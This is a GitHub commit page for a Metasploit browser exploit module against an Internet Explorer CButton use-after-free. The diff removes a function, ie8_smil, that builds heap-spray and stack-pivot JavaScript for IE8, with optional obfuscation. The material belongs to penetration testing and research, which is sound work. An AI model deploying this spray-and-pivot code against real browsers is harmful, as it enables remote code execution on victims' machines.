Skip to content

Commit eb23b5f

Browse files
committed
Forgot to remove function ie8_smil. Don't need this anymore.
1 parent 329e822 commit eb23b5f

File tree

1 file changed

+0
-38
lines changed

1 file changed

+0
-38
lines changed

modules/exploits/windows/browser/ie_cbutton_uaf.rb

Lines changed: 0 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -120,44 +120,6 @@ def get_target(agent)
120120
return nil
121121
end
122122

123-
def ie8_smil(my_target, p)
124-
125-
126-
127-
js = %Q|
128-
unicorn = unescape("#{padding}");
129-
for (i=0; i < 3; i++) {
130-
unicorn += unescape("#{padding}");
131-
}
132-
133-
unicorn += unescape("#{js_payload}");
134-
135-
animvalues = unescape("#{align_esp}");
136-
137-
for (i=0; i < 0xDC/4; i++) {
138-
if (i == 0xDC/4-1) {
139-
animvalues += unescape("#{xchg_esp}");
140-
}
141-
else {
142-
animvalues += unescape("#{align_esp}");
143-
}
144-
}
145-
146-
animvalues += unicorn;
147-
148-
for(i = 0; i < 21; i++) {
149-
animvalues += ";cyan";
150-
}
151-
|
152-
153-
if datastore['OBFUSCATE']
154-
js = ::Rex::Exploitation::JSObfu.new(js)
155-
js.obfuscate
156-
end
157-
158-
return js
159-
end
160-
161123
def junk(n=4)
162124
return rand_text_alpha(n).unpack("V")[0].to_i
163125
end

0 commit comments

Comments
 (0)